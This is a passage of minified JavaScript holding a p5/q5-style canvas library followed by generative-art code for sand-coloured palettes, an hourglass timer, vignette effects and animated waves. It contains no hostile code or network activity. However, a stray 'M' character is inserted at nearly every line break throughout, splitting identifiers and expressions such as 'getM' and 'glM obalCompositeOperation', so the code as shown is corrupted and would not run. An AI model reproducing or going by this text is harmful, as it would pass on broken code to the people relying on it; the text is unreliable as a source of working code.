,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
